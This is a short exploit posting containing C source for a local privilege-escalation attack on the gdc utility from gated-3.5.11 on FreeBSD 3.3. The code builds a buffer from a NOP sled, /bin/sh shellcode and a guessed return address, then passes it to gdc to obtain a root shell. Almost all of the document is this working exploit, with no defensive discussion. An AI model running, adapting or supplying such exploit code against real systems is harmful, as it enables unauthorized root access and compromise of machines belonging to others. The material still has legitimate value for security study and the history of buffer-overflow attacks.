gdc exploit for gated-3.5.11 included on Freebsd-3.3 instalation CD yields euid=0(root). By default, only group wheel (or whatever your trusted gated group is) and root can run gdc.
daf532f5a241b630b4257fee36d298e5ae539656328096a75c7b55b9f5f48468
/*
* gdc exploit for Freebsd-3.3 yields euid=0(root)
* by default, only group wheel (or whatever your trusted gated group is)
* and root can run gdc
* Brock Tellier btellier@usa.net
*/
#include <stdio.h>
char shell[]= /* mudge@l0pht.com */
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
main (int argc, char *argv[] ) {
int x = 0;
int y = 0;
int offset = 0;
int bsize = 4093;
char buf[bsize];
int eip = 0xbfbfdb65; /* works for me */
if (argv[1]) {
offset = atoi(argv[1]);
eip = eip + offset;
}
fprintf(stderr, "gdc exploit for FreeBSD 3.3-RELEASE <btellier@usa.net>\n");
fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);
for ( x = 0; x < 937; x++) buf[x] = 0x90;
fprintf(stderr, "NOPs to %d\n", x);
for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
fprintf(stderr, "Shellcode to %d\n",x);
buf[x++] = eip & 0x000000ff;
buf[x++] = (eip & 0x0000ff00) >> 8;
buf[x++] = (eip & 0x00ff0000) >> 16;
buf[x++] = (eip & 0xff000000) >> 24;
fprintf(stderr, "eip to %d\n",x);
buf[bsize - 1]='\0';
execl("/usr/local/bin/gdc", "gdc", "-t", buf, NULL);
}